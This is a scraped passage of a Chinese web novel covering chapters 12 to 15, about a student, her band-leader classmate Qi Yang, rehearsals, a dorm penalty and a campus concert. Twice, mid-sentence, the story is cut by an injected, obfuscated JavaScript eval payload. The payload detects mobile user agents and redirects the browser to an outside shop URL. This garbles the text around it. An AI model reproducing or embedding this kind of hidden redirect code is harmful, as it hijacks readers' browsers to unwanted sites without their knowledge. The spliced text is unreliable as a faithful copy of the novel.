事实证明齐扬确实是对的，脚踩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491334|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实很费劲，你用点力它动一动，如同老爷车一般在水里缓慢前行。 但宋之雯管不了那么多了，她拿出了提前打印好的纸，铺平放在膝盖上，很认真地问出了第一个问题：“假如可以选择世界上任何人，你希望邀请谁共进晚餐？” 齐扬想都没想：“科比·布莱恩特。” “我呀......”宋之雯抬起头开始幻想，“我要是能选择，一定选一个帅气的男明星共进晚餐。” “......”齐扬回她一个无语的表情。 “好，下一个问题，你希望成名吗？在哪一方面？”宋之雯看向齐扬，“不用说了，这个肯定想。” “嗯，是有想过。”齐扬难得正经地回答这个问题，“我希望有更多的人听我们乐队的歌。” “肯定会有这么一天的，我觉得是迟早的事。”宋之雯的声音里充满了自信，“下面拨打电话前，你会先练习要说的话吗？为什么？我自己还是需要的，不然真不知道说什么。” “不会啊。”齐扬笑得有些顽劣，“跟吴衡那样的人说话要打什么草稿？” 好吧，这个话题进行不下去了。 “对你来说，怎样才算是“完美”的一天？” 齐扬撑着头想了一会儿：“和朋友在一起的时光。” “我赞同。”宋之雯拼命点头，“上一次唱歌给自己听是什么时候？唱歌给别人听又是什么时候呢？” “就昨天乐队排练的时候。” “哦？”宋之雯来了兴趣，“你们最近在排练什么？” “新歌。”齐扬的嘴角不由自主地上扬，“到时候你就知道了。” “假如你能够活到90岁，并且你可以选择让你的心智或身体在后60年一直停留在30岁，你会选择哪一个？” “我选让我的心智停留在30岁。”齐扬没有丝毫的犹豫，“希望我即使老了，也能保持现在的热情。” “我也是，如果周围人都是90岁我还是30岁的模样多可怕。”宋之雯感慨，“天哪我实在想象不出90岁的我在干嘛，可能躺在病床上也可能孤身一人坐在家里发呆。” 又回答了几个问题之后，齐扬终于忍不住提醒道：“我说你帮忙蹬一蹬船吧，都原地打转多久了。” 宋之雯这才惊醒，其他的船都拨开水面留下一圈圈美丽的波纹，就他们的船和湖中心的岛一样屹立不动。 宋之雯吃力地踩了几下脚蹬，和齐扬一起让船远离密集的区域，这才停下来问出了下面一个问题：“假如可以改变你成长过程中的任何事，你希望有哪些改变？” “没什么需要改变的。”她明显感到齐扬的语气冷了下来。 “那......用4分钟的时间，给我讲讲你的人生故事好吗？” 沉默了一会儿，齐扬才开口道：“我可以不回答这个问题吗？” 12. 第十二章 排练 宋之雯拿着纸的手僵在了半空中，有些尴尬地笑笑：“好，这个问题跳过吧。” 她迅速浏览了一下接下来的问题，试探性地问道：“要不关于你的家庭以及你与母亲的关系也不问了？” 齐扬半天才从牙缝里挤出一个字：“嗯。” 气氛一时间冷了下来。 宋之雯知道这一定是触到了他内心深处的什么东西，便假装若无其事地清了清嗓子，挑了几个轻松的问题，试图把气氛挽救回来。 然而后面几个问题齐扬答得还是没有之前有兴致了。 太阳不知道什么时候躲到了云层后面，天色暗沉了下来，开始下起淅淅沥沥的小雨。 齐扬加大了蹬船的力度：“赶紧回去吧，一会儿要淋雨了。” 宋之雯闭了嘴，和他一起玩命地朝岸边蹬去。 然而雨势不等人，就在他们要接近岸边的时候骤然大了起来，劈里啪啦地砸在船顶上，周围都模糊成了一片雨帘。一阵风夹杂着雨丝从窗口刮了进来，宋之雯刚要拂去脸上的雨水，就看见自己膝盖上的纸被风吹了起来卷到了空中，快要飞出窗户。 她本能地伸出手去抓，被齐扬一把挡了下来。 “别动。”他的声音带了点怒意，“你这样站起来船很容易翻的。” 宋之雯乖乖地收回手，坐着不动了。 齐扬朝外面探出头去，呼喊着岸边的工作人员来解救他们。很快工作人员开了船拿了绳子，把他们拖回了岸边。靠了岸之后他脱下了身上的风衣，正好把两个人都罩住，然后冲进了雨里。 离他们最近的是一个公园的凉亭，两人火速赶往那里，跟两只落汤鸡一样擦拭着身上的雨水。 “我看我们短时间是走不了了，就在这里呆着吧。”齐扬坐了下来，望着外面的雨摇头。 宋之雯坐到他旁边，小心地问道：“风衣没事吧？” “嗯，没事，洗洗还能穿，只是可能缩水了。” 宋之雯尴尬地解释道：“我出门看天气预报的时候还是晴天。” “A市的天气一直是这样，别相信什么天气预报。” “好的，我以后出门带把伞。” 齐扬似乎是想迫切地结束这没营养的对话，掏出了手机：“正好趁现在有时间，想想待会儿吃什么吧？” 宋之雯也掏出手机开始浏览，最后锁定了一家西餐厅：“要不吃西餐？” “哦？”齐扬声音无意间拖长，有些玩弄的意味，“不吃烤冷面了？” 宋之雯简直是被雷劈了一样，瞪大了眼睛看向齐扬，后者笑得越发放肆。 原来她骂人的话他都听到了，真是好事不出门，坏事传千里。 她讪笑道：“那东西不够档次，我们吃点有档次的吧。” “你还真不客气，不过幸好我身上还有点钱。” “......”宋之雯决定闭嘴了。 这场阵雨来得快去得也快，不一会儿雨就停了。齐扬把风衣披在身上，对她招了招手：“走吧，我们去吃牛排。” 这家西餐厅位于市中心最繁华的地段，装修格外讲究，暖黄色的灯光营造出复古的氛围，木头椅子和桌子上都刻着欧式的花纹，就连食物也被用心地摆在精致的玻璃罩和餐盘内，看起来像艺术品。 齐扬把菜单递给了宋之雯：“你随便点吧。” 为了照顾齐扬的钱包，宋之雯还是只点了一份牛排，一份主食和一个甜品，齐扬接过去之后，又林林总总加了好几样东西。等滋滋冒烟的牛排上来之后，宋之雯意识到自己是真的饿了，也不顾什么形象了，切了一块就往嘴里送。 等胃里有点被填饱之后，她才停下来说道：“虽然今天有一点小插曲，但我出来玩还是很开心。” 齐扬停下了手中的动作。 她顿了顿才说：“希望你的心情也不要被影响了。” 齐扬继续对付着手中的食物：“你放心，对我没影响。” “对了，钱你算算，我A给你吧，怪不好意思的。” 齐扬忽然笑了，用修长的手把付过的账单推到她面前：“以后有人请你吃饭，你就大大方方地接受吧，别整这些有的没的，懂了吗？” 宋之雯似懂非懂地点点头。 齐扬没再说什么，等着她吃完，把她送到宿舍门口了之后才道别。 一回到宿舍，舒青竹就贼兮兮地凑了过来：“进展怎么样了？” “实在不巧，中间下雨了，没有玩个尽兴。” “是吗？那太可惜了。”舒青竹一脸遗憾地拍了拍她的肩膀，“不过没事，还有机会的嘛。” 宋之雯笑了笑，虽然这场大雨可以说搞砸了约会，但她还是过得很开心。 周末一过，宋之雯就接到了韦峰的临时通知，要她中午去开个吉他社的会议。 会议的地点在音乐学院，宋之雯开学这么久还是第一次来这里。整栋建筑被装饰成简洁的白色，阶梯黑白交错做成琴键的样子，柱子也带有西式的风格，一面墙上挂了许多音乐家的画像，另一面则是学院的风采展示，宋之雯很容易就看到了齐扬的照片。 她按照指引找到了小会议室，推门进去的时候韦峰和叶琛已经坐在那里了，韦峰看到她喊了一声：“把门关上吧，人已经齐了。” 宋之雯的震惊无以复加，一个部门只有一个人的社团她还是第一次见。 她坐下以后，韦峰苦笑道：“众所周知社团管理层报名的时候大家就不太积极，因此我们现在只有三个人，那就开始我们今天的会议。这个月底晨星乐队想在学校里举办一场路演，还是需要一个吉他手，根据这两个月的学习情况，我们选定了一个人选，就是你，叶琛。” “啊？”被突然点名的叶琛有些意外，“可是我的水平还很业余，达不到上台的程度。” “和其他人相比已经很好了，尤其是你指弹学得不错。” 宋之雯突然觉得自己有被内涵到，尤其是开始学用吉他只弹曲子不唱以后，她更加跟不上了。 “所以你晚上有课吗？”韦峰继续 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“这次是我们晨星乐队的专场，想把它做成一个音乐节的形式，因此准备了十几首歌，有些还是我们原创的。至于整个音乐社的表演要等到跨年了......” “十几首歌？”可怜的叶琛差点没昏过去。 “别紧张，有几首是齐扬、我、吴衡和瑜姐的solo。”韦峰的脸上带了点得意，“没想到吧？我们除了弹乐器还会唱歌。” “那就好。”叶琛舒了一口气。 “那就晚上六点我们校门口见？叶琛你带好你的吉他。”韦峰又转向宋之雯，语气十分随意，“至于你，带个人就行。” 六点钟宋之雯准时出现在校门口，和韦峰、叶琛一起结伴往马路的对面走，对面这一大片区域都是学校为支持学生自主创业投资的创业园，此刻红色的广告牌在夜幕里格外醒目。 创业园被分成ABCD几个区域，每一片区域里面又有一个个小隔间，挤满了对着电脑奋斗的人，每个人的脸上都带着学生的青涩和热血。 韦峰带着两个人上了楼，往最里面的一个隔间走。这个隔间因为靠近角落所以空间很大，分为两层，下层是寻常的办公桌，上层则是精心装修过的录音棚，里面的乐器一应俱全。 宋之雯和叶琛早就已经看傻了。 “不错吧？”韦峰得意地在里面转了一圈，“这是晨星音乐社的老社长留下来的，他现在也在做录音方面的工作，我们如果有演出就会借他的场地排练。” “你别光顾着说了，人给我带来了吗？”齐扬慢慢地从楼梯上走了下来，紧跟着的还有吴衡和何瑜。 “那是当然。”韦峰把宋之雯和叶琛拉到了面前。 “你拿着吉他过来一下吧，我把谱子给你先熟悉熟悉。”齐扬对叶琛招了招手，又把自己的手机塞到了宋之雯手里，“奶茶我们已经点好了，你选选要喝什么，待会儿拿上来，顺便帮我们把办公区域整理一下。” “......”宋之雯拿着手机无言以对，这个人一定是故意的。 13. 第十三章 秘密 “你别听他瞎讲。”何瑜不满地给了齐扬一个白眼，“我们只是想从观众的角度得到一些建议。” “就是，哪有让客人干活的。”吴衡跟着起哄。 “我只是喊人家过来帮个忙，现在我投降行了吧？”齐扬举起了双手。 宋之雯连忙打圆场：“你们先排练吧，我现在也没什么事，能帮的就帮一下。” 何瑜拉了叶琛到楼上去，开始讨论谱子。宋之雯走到办公桌前，正准备收拾的时候，被眼前的景象惊呆了。 这办公桌已经不能叫办公桌了，凌乱的文件随意堆放，旁边塞满了零食的包装袋，甚至有些没吃完的零食碎屑还撒到了文件上。 “......”宋之雯不禁感慨男生对环境的容忍度的确比女生高多了。 她先把所有拆开来的包装袋都扔进了垃圾桶，再拿餐巾纸清理了一下碎屑，最后把文件一个个分门别类叠好。这时候奶茶也到了，她便拎上了楼去。 叶琛整个人还是有点拘谨放不开，但弹出来的旋律已经能慢慢和上伴奏了，尤其是他在展示了单独的一段吉他solo之后，何瑜拼命给他鼓掌，得意地看了其他人一眼：“看吧，这就是天赋。” 叶琛腼腆地笑笑：“没有没有，差得远，还需要多练。” 齐扬拿起了话筒：“既然伴奏差不多和上了，要不现在我唱几句试试？” 几个人似乎形成了一种无声的默契，从头开始弹伴奏。这还是宋之雯第一次听齐扬的新歌，不得不说齐扬的声音有一种魔力，好像钩子在你心上挠痒，让你听了还想听。鼓声、键盘声、吉他声和贝斯声完美地融合在了一起，好像一个人发出的，而齐扬就是把他们连接在一起的那根丝线。 一首歌结束了，宋之雯忍不住鼓掌：“我很喜欢。” “有什么建议吗？”齐扬抬着头，很期待她的答案。 “没什么建议，我觉得你们最大的一个优点就是和谐，浑然一体。” 齐扬嘴角的弧度逐渐升起：“这是我听过最高的评价了，谢谢。” “那我们就欢迎叶琛，从今天起正式成为了我们晨星乐队的一员。”何瑜张开了双臂，周围人也欢呼着，并拿奶茶干杯。叶琛被这么一群人簇拥，也放下了拘谨，笑得很灿烂。 排练一直到十点才结束，宋之雯帮忙收拾完乐器后，和他们一起结伴出来。夜幕已经很深了，呈现出一种接近黑的深蓝，而幕布上的星星却格外耀眼，似乎是有人撒下的银色亮片，在黑夜里发着小小的光芒。 宋之雯拿出手机，想起林嘉和之前问他学校里有什么新闻，给他发了条信息过去：“晨星乐队最近要在学校举办路演了，我能不能写他们的通讯稿？” 没想到林嘉和竟然还没睡，很快回了她的信息：“可以啊，不过推不推送得看老师的意见。” 宋之雯微笑着把手机放回了口袋，耳边又响起了男生们的插科打诨声，让她感觉这样的生活虽然累，但是无比充实。 过了两天，宋之雯按照要求把手中的vip票分发给吉他社的社员们，这一下子炸开了锅。各方呼朋唤友把之前没上过几节课的社员都叫了过来，甚至还有人求宋之雯能不能给自己社团外的朋友留张票的，宋之雯也只能拉下脸来拒绝，不过私底下经韦峰同意后，她给舒青竹留了张票。 晨星乐队这边的抢票情况也同样激烈，一大早就有人排队了，并且排的全是vip票，后面的人只能分到普通票，不过一个中午的功夫，vip票连同普通票全部售罄。 舒青竹一见到宋之雯，脸就跟个苦瓜一样：“我的天晨星乐队的票竞争太激烈了，我十点钟去那个队伍已经老长了，根本排不到，我只能放弃了。还不如我自己在手机上抢演唱会的门票，只需要手点点就好了。” 宋之雯看了看四周，杨灵和钟小欢正好不在，她便把留的票轻轻推到舒青竹面前：“收好了，特意给你留的。” 舒青竹简直惊喜得快跳起来：“我的天，你从哪儿弄来的？” “吉他社给的。” “你加吉他社真是赚了，这钱花得真值，我敢说明年肯定有更多的人加入吉他社。” “借你吉言了，不过......”宋之雯做了个“嘘”的手势，“你千万不要在寝室声张，我也就多这一张了。” “好，我明白。”舒青竹做了个“OK”的手势。 周四宋之雯照常去上心理课，在这之前还特意把她和齐扬的回答打印在了纸上，免得老师提问。 老师一见到大家就和老朋友一样亲切，开始和大家聊天：“上周的问题大家都互相问过了吧？感觉怎么样？”她走到尹心悦面前，用眼神示意她回答。 尹心悦对她礼貌地笑了一下，随后连连摇头：“我们聊了一下，不是很聊得来，而且很多问题都不知道怎么回答。” “嗯，这是很正常的事。”老师又转过去问另外一位同学，“你呢？” “我觉得这些问题都很有意思，在聊的过程中可以让我们更了解对方，发现彼此相似和不一样的点。” 老师赞许地点头：“那观察员呢？” 吴衡老早就把手举高了：“根据我的观察，进展得很顺利。” 教室里笑倒了一片，当事人宋之雯和齐扬一齐给了吴衡一个白眼，并且宋之雯观察到尹心悦的脸色也不是太好看。 “好。”老师做了个手势示意大家安静，“通过这一周的相处，我们大概了解了你的搭档是一个什么样的人，当然有些同学也遇到了一些问题，因为你发现你的搭档可能不是那么合适，没关系，这就是我们今天要讲的内容‘幻灭’。” 老师继续点到下一张ppt：“年少时候我们对自己的伴侣总有各种各样的期许，比如希望他长得帅气又体贴又有趣，这是很正常的事，但当你按照这个标准去找的时候，很可能很难找到符合你这个标准的人，这个时候怎么办呢？” 底下的答案不一，有的说 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宋之雯拿出本子，埋头开始记笔记。齐扬坐在旁边只是低着头，默不作声地听着，头发遮挡住了他的视线，让他整个人看起来有些许阴郁。就连吴衡也察觉到气氛不对了，收起了嘴边的笑容。 老师又接着分析了一大堆，齐扬都和耳旁风似的一点反应也没有。 “好，所以今天的作业就是拿一张纸，列出你的搭档的优点和缺点，并结合今天的内容深入分析你们产生分歧的原因，这张纸下节课要交作为平时分，好，今天的课就上到这里，下课吧。”老师温和地看着底下蠢蠢欲动的同学们。 “耶！”一些人率先涌了出去。齐扬简单地和宋之雯道了别之后就随人群一起出去，吴衡还很奇怪地追在后面：“喂，你等等我啊，今天跑那么快干嘛？” 宋之雯决定还是让他自己消化一会儿，转身往宿舍走。到了宿舍她发现还是只有舒青竹一个人，松了一口气，扬了扬自己手里的本子：“我好像发现了齐扬的一个秘密。” “什么秘密？”舒青竹八卦地凑了上来。 宋之雯把今天心理课的情况一五一十地和舒青竹讲了，并补充了一句：“之前我问他关于童年和母亲的问题他表现得就很回避，所以我估计这一块对他影响还挺大的。” “那估计他童年应该不是很幸福，不过这东西人家不愿意讲也不好强迫。”舒青竹若有所思地点头。 “以及我听吴衡说是他给齐扬报的这门课，说什么旧的不去新的不来。” “就齐扬那个招蜂惹蝶的体质，从小到大没个女朋友才不正常。”舒青竹打开手机递到宋之雯面前，“你看看，表白墙又有音乐学院的新投稿了。” 宋之雯看着那条音乐学院某男生一年劈腿8个女生的投稿，不禁皱了皱眉。 “说真的，女朋友的事应该还是很容易知道的，你找人打听打听呗。”耳边响起舒青竹的声音。 14. 第十四章 苦力 “我？找人打听？”宋之雯用手指了指自己，“太冒犯了吧？” “又没让你现在去打听，找个时机嘛。”舒青竹拍了她一下，“不过你要是想知道我可以帮你翻一翻表白墙，没准真能翻出什么东西。” “那你翻吧。”宋之雯没再理会她，开始修改自己上次去看寝室大作战时写的一个新闻稿。 “哎哎哎找到了。”舒青竹激动地跳起来，把手机拿给宋之雯看。这是齐扬大一时候的一条投稿，问他有没有女朋友，下面有人发了一张照片，是两个人并排走在一起的背影。女孩戴着粉色的帽子，一头柔顺的栗色的长发，身材修长，从背影也可以看出肯定是个美女。 “不过他现在不是单身嘛，分分合合很正常。”舒青竹点评道。 “行了，我看这样差不多了，也不用打听了。”宋之雯制止了她，“别到时候显得咱们很八卦，弄得人家心里不舒服。” 舒青竹只好悻悻地坐了回去。 日子就这样一天一天地过去，排练进展得很顺利。叶琛的上手速度令人咂舌，从一开始的磕磕绊绊不敢弹，到现在已经能大胆地跟着大家一起即兴了，怪不得是他们集体选出来的人，眼光真是毒辣。 这天宋之雯正在吃外卖的时候，接到一个电话，是齐扬打过来的：“你现在有时间吗？” “有，怎么了？”宋之雯努力把食物咽下去。 “能过来帮忙布置一下舞台吗？现在人手不够。” “大概什么时候？” “你尽量快点来吧。” “好。”宋之雯挂了电话，又随便扒拉了几口饭，就丢下外卖盒匆匆地跑了出去。 晨星乐队专场的地点选在了学校的大草坪上，宋之雯到那里的时候齐扬他们已经在指挥着工人布置舞台，以尹心悦为首的社员在搬铁架子划分区域。 宋之雯跑过去帮他们一起搬，尹心悦看到她有点惊异地抬起头：“你怎么来了？” “社长叫我来的。” “我记得你不是音乐社的吧？” “我是吉他社的，韦峰叫我来帮忙的。”宋之雯赶紧解释道。 “这样啊，那你的票也是韦峰给你的？” “嗯。” 尹心悦笑了笑，没再说什么，抱着一个铁架子到前面去了。 不得不说把铁架子挨个摆好，划分出区域，再拿塑料绳捆起来的确是一个费力的活。虽然已经是冬天了，但宋之雯不一会儿就出了一身的汗。 当她抱着一堆铁架子往前面走时，正好和齐扬迎面碰上，后者看她的目光带了笑意：“重吗？” 宋之雯咬着牙说道：“你不会怜香惜玉一下啊？让女生搬来搬去。” 齐扬笑得更大声了，接过了她手里的铁架子很快过去摆好了，又转过身来：“待会儿再麻烦你帮忙调试设备看一下效果了。” “好，没问题。”宋之雯擦了擦额头上的汗。 吴衡抱着一箱水走了过来，先递了一瓶给何瑜：“瑜姐，喝水。” 何瑜一把把他的水推了回去：“你有点眼力见行不，应该先给搬东西的人，你看他们一个个都累得要死要活的。” “我这不是按辈分来的嘛。”吴衡嘿嘿一笑。 “去你的吧。”何瑜刚要伸腿过去踢他一脚，吴衡立刻跟脚底生风一样一溜烟跑开了。 吴衡跑到搬东西的区域，一路大声吆喝一路发水：“来来来同志们辛苦了，请喝水。” 宋之雯接过水，一屁股坐在地上，咕咚咕咚灌了好几口才缓过来。无意间往周围一瞥的时候，发现身边坐着尹心悦。 “......”宋之雯觉得这么干坐着怪尴尬的，还是要找点话聊，“你们音乐社日常都有什么活动啊？” “会有专门的声乐老师指导我们唱歌，社长本人也会经常给我们分享他唱歌的技巧，并且一对一进行教学。我们还去录音棚录了demo，准备跨年晚会的时候唱。”尹心悦越说越来劲，隐约带了一丝炫耀的意味。 宋之雯只是微笑着，任凭她说下去，最后才接了一句：“听你这么一说我很期待你跨年的表现了，希望能比面试的时候更好。” “社长和我说我现在唱歌技巧已经很成熟了，就是少了点情感，不过这两个月的学习我对歌里的情感有了更深的认识。” “那我更想看了，跨年我会问韦峰要票的。” “好啊，欢迎。”尹心悦起身，继续布置场地去了。 结束了这一番官方的对话，宋之雯舒了一口气，帮乐队调试好麦克风送了上去，在一旁静静地看他们彩排。 虽然他们彩排保留了很多的实力，但当音乐响起的那一刻，宋之雯还是想情不自禁地跟着哼唱，再加上随时变换的灯光，真的有音乐节的氛围了。 “音响声音可以再小一点，不要把人声盖过了，第一首歌的时候可以用蓝色的灯光。”齐扬在上面冷静地指挥着。旁边也围了不少看热闹的人咔咔咔地拍照。 他们就这么一遍遍地磨合着，每一个细节都力求完美，等到全部彩排结束的时候已经快晚上了。 宋之雯前脚刚出来，后脚舒青竹的电话就打了进来：“你赶紧去学院一趟吧，出事情了。” 宋之雯立刻警觉起来：“什么事情？” “你忘啦，你今天走的时候插线板没断电，寝室被扣分了，辅导员正要找你呢。” 宋之雯回想了一下，好像自己是接到齐扬的电话之后就匆忙跑出去了，不禁懊丧地拍了拍头。 到了学院的办公室，辅导员正面无表情地对着电脑敲个不停，整个房间只能听到键盘清脆的声音，却有种无声的压迫感。 宋之雯深吸一口气，敲了敲门。 “进来。” 宋之雯走了进去，看辅导员转过来，却没有丝毫要起身的意思，只能乖巧地等着他开口。 辅导员是个略显沧桑的中年男人，他先叹了口气，然后扶了扶眼镜：“在新生的军训上我就多次强调了安全问题，寝室一定要断电，违规电器不要用，你们是一点没听进去吗？” 宋之雯使劲咬着嘴唇：“对不起老师，我错了。” 辅导员继续喋喋不休道：“上次一个寝室没断电，结果电路短路，把整面墙都烧黑了，当事人直接取消保研资格了，这才过了几个月你们就忘记了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505615|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 宋之雯知道他在气头上，便也不再说话，静静地听着他数落。 “我说你们这届新生主意真大，学校的规则都无视，真是管不住你们了。”辅导员连连摇头，又输出了一通，语气才缓和了一点，“这样吧，因为你是第一个寝室出了用电问题的新生，所以我就扣你10分的品德分，也算是给其他新生一个教训。” “我接受，谢谢老师。”宋之雯礼貌地朝他鞠了一躬走了出去，心却凉了半截。评优评奖的几项分中，品德分是最难加的，要么你校赛省赛的科技创新获奖，要么你做很多很多的志愿者活动，况且在竞争激烈的文学院中，就连零点几分都显得弥足珍贵，能拉开几名的差距。 到了饭点的时间，宋之雯却一点胃口都没有，也不想回寝室，就在学校里漫无目的地走着。经过学校湖边的时候，她看见旁边有一张长椅，就在上面坐了下来，任冬日的冷风吹着自己的脸颊，刮得人硬生生的疼。 齐扬原先是出去买水果的，沿着这条路回宿舍的时候刚好看到了坐在旁边发呆的宋之雯，有些好笑，拿手在她眼前晃了晃：“喂，发什么呆呢。” 宋之雯不想理会他，自顾自地说：“心情不好。” 齐扬没有要走的意思，在她身边坐了下来，刨根问底道：“怎么个心情不好法？是和朋友吵架了呢，还是考试考砸了？” “都不是。” “那是老师批评你了？” 宋之雯不说话了，过了好一会儿才赌气似地说道：“就因为我急着出门插线板没断电，老师要扣我10分品德分。” 齐扬一下子明白过来：“我知道了，怪我，怪我，不应该急着催你出门。” “不怪你，怪我太粗心。”宋之雯越想心理越不平衡，眼泪开始簌簌地掉下来，“不过我就不明白了，我也不是故意的，为什么要扣我那么多分？” 看她哭了，齐扬开始慌里慌张地翻遍全身，最后终于从口袋里找到一张皱巴巴的餐巾纸递了过去，宋之雯也不客气，接过去用力擦了鼻涕。 “没办法，游戏规则就是这样的，你得遵守它。”齐扬双手交叠放在脑后，陷入了沉思，“就像之前的比赛吉他手失误导致我跟不上伴奏，你事后怪他有用吗？后来我想想也没用，没表现好就是没表现好。” 宋之雯还在哭，似乎他的话一个字也没听进去。 “况且......”他顿了一下，“你们这些好学生啊，每走一步都战战兢兢的，生怕自己出错，整天紧绷着个神经累不累啊？大学四年还很长呢，别在乎一时的输赢。” 他瞥了一眼宋之雯，看还是没反应，只好自己说下去：“我也不是没拿过奖学金的人，大一那年拿了个二等奖学金，后来觉得没意思，组乐队是我更感兴趣的事，所以我就把主要的精力放在乐队上了。当然该完成的课业我还是好好完成了，也能混个中游水平。” 这是安慰人的话吗？ 宋之雯抬起头，还含着泪，眼睛通红地瞪了他一眼。 齐扬一下子笑了出来，从袋子里拿出一根香蕉，跟逗猫似的在她眼前晃了晃：“先省点力气，吃根香蕉吧，好学生。” 15. 第十五章 安慰 宋之雯也不推辞了，正好她现在饿得难受，便接过香蕉啃了一大口，嘴巴都鼓鼓的。 齐扬在一旁静静地看着她吃：“慢点，别噎着，我这里还有，你还要吗？” 宋之雯吃完一根，摆摆手示意不要了。 “你现在心情有好一点吗？” “嗯。”宋之雯站起身来，对着齐扬露出了一个笑容，“今天谢谢你。” “不客气，我就买个水果的功夫，还得做社员的思想工作，真是好人做到底啊。”齐扬抖了抖手中的袋子，“那我走了啊，拜拜。” 两人在湖边分别，之后宋之雯又去食堂吃了碗小馄饨，身上回暖了，心情也好了些。 一回到宿舍，舒青竹就担忧地跑了过来：“你可算回来了，我听说辅导员骂你了，扣了多少分啊？” “10分。”宋之雯有气无力地回答。 “我靠，人没有犯错误的时候吗？为什么要这么揪着不放，换他我就不信365天能天天断电。”舒青竹骂完之后又一脸惋惜，“不过阿雯，你成绩这么好，上次小测老刘还表扬你了，拿不到奖学金太可惜了。” 宋之雯现在已经冷静了不少，帮她顺气：“扣都扣了，又有什么办法呢？我又不能逼他把分划掉，只能想办法尽量把分挣回来了，不行就大二再评奖学金吧。” “唉。”舒青竹觉得还是不解气，又骂了几句，才躺回了椅子上。 宋之雯犹豫了一下，决定还是给母亲打个电话，让她知道这件事情。 电话那头于爱丽正在做饭，她把电话夹在肩膀上问道：“什么事？” 宋之雯简单地把今天的情况和她说了一遍。 两人都沉默了一会儿，于爱丽才开口道：“我早跟你说了一个人在外面要注意安全吧？怎么这么粗心，还好没什么大的事。” 宋之雯一言不发地听着她数落。 “既然错误都已经犯了，那就以后长点心，大二大三努努力把成绩提上去，以后履历好看一点，还有你们有没有什么考公的学长学姐来分享的？多和人家讨教一下经验。” “多得很，上次就有一个，还留了联系方式。” “好，那就好。”于爱丽欣慰地笑了，等菜出锅后她把电话拿在手上，又补充了一句，“那个吉他社退了吧，影响学习。” “嗯，早退了。”宋之雯应付着。 于爱丽又叮嘱了宋之雯几句，这才恋恋不舍地把电话挂了。 她没有想到的是，说着自己要退出社团的宋之雯第二天就拉着舒青竹去了人家的路演。 虽然对晨星乐队的火爆程度有个预估，但宋之雯到达现场时发现自己还是太保守了。vip区的前排位置早就已经挤满了人，更别提后面普通区你争我抢就想找一个前面点的位置，外围还围了一圈没有票但是看热闹的同学们。 项婉早就已经在舞台旁架好了设备准备拍摄，为了不耽误她的工作，宋之雯只是简单地和她打了个招呼就拉着舒青竹进场了。 走到vip区的时候已经站了不少人，不过宋之雯一眼就看到了尹心悦，她今天穿了一身粉色的小香风衣服，头戴贝雷帽，浑身上下都透着精致。 出于礼貌宋之雯还是打了个招呼：“嗨。” 尹心悦上下看了她一眼：“你是怎么买到票的？我们社长可是送了社员好多张呢。” 宋之雯笑笑：“我的也是社长送的。”完了她又补充一句：“社长还邀请我去看他们排练。” 尹心悦惊讶地张大了嘴，想说什么又没说出来，最后只挤出来一句：“是吗？那社长人还怪好的。” 舒青竹眼睛都要冒火了，被宋之雯硬生生地用眼神阻止了。 舞台上彩色的灯光交错着，构建出一个迷幻的世界，耳边响着暖场的音乐，让人身体里的热血隐隐沸腾，这么多人挤在一起，深秋的夜晚也显得没有那么寒冷了。 舒青竹艰难地从夹缝中看舞台：“唉，早知道早点来了。” “再早点你也抢不过的。”宋之雯做了个“嘘”的手势，“来了来了。” 红橙蓝绿的灯光倏忽之间交汇成一束，齐扬等人从下面登台，站在了光影中央，人群顿时爆发出一阵欢呼。 欢呼声响了好久才平息下来，齐扬这才接着说道：“感谢大家在这么冷的天还来看我们晨星乐队的路演，为了效果我们这次没有椅子，也辛苦大家站着了。今天我要隆重介绍一下我们新加入的成员，来自机械学院的叶琛同学，从吉他社的众多学员脱颖而出，担任我们的吉他手。” 大家很配合地鼓掌，被掌声包裹的叶琛有点不好意思，只是深深鞠了一躬，说了句：“请多指教。”当然也有不少人抱着怀疑的态度，想看看这个吉他手表现到底怎么样，会不会拖乐队的后腿。 “那还是按照我们的惯例给大家打个招呼。”齐扬微微笑了一下，“我是主唱齐扬。” 吴衡立刻接上：“我是贝斯手吴衡。” “我是键盘手何瑜。” “我是吉他手叶琛。” “我是鼓手韦峰。”话音刚落，宋之雯就听到了熟悉的三声震天响，但这次伴随的不是骂声而是大家的尖叫声。 最后五个人一齐开口，整齐得好像一个人说出的：“我们是晨星乐队，问候在场各位了。” 演出还没开始，气氛已经被炒得无比热烈。 齐扬抓住这个机会开始报幕：“下面就请大家欣赏我们晨星乐队的主题曲《晨星》。” 音乐一响起，前排的观众就不由自主地跟着蹦了起来，宋之雯也不顾什么形象了，拉着舒青竹一起蹦。 黑夜里没有星星 只有风在轻声叮咛 我已经走了太久 连前路都看不清 好想有个人陪伴 把话都说给我听 可我只能独自 坐在林中等待着黎明 前面的主歌齐扬唱得低沉迂回，就像黑夜在包裹着你，让你心甘情愿地沉醉在这个温柔乡之中。 唱完主歌的最后一个字，台上七彩的灯光骤然暗了下来。就在大家不知道发生了什么的时候又突然亮起，这次是一整片温暖的、明黄色的灯光，亮如白昼，仿佛真有一颗启明星从天边升起。 就在此刻 我看见一颗晨星从天边升起 金色的光照亮大地 那是晨星 给我克服黑暗的勇气 指引我前行 我最终会找到 属于我的那颗星 唱到“我最终会找到属于我的那颗星”的时候，齐扬很干脆地伸出手指向天边，为这首歌做了一个华丽的结尾，于此同时，最后一个鼓点也很有默契地落下。 人群中爆发出了一阵尖叫声，还有人自发喊着齐扬的名字。 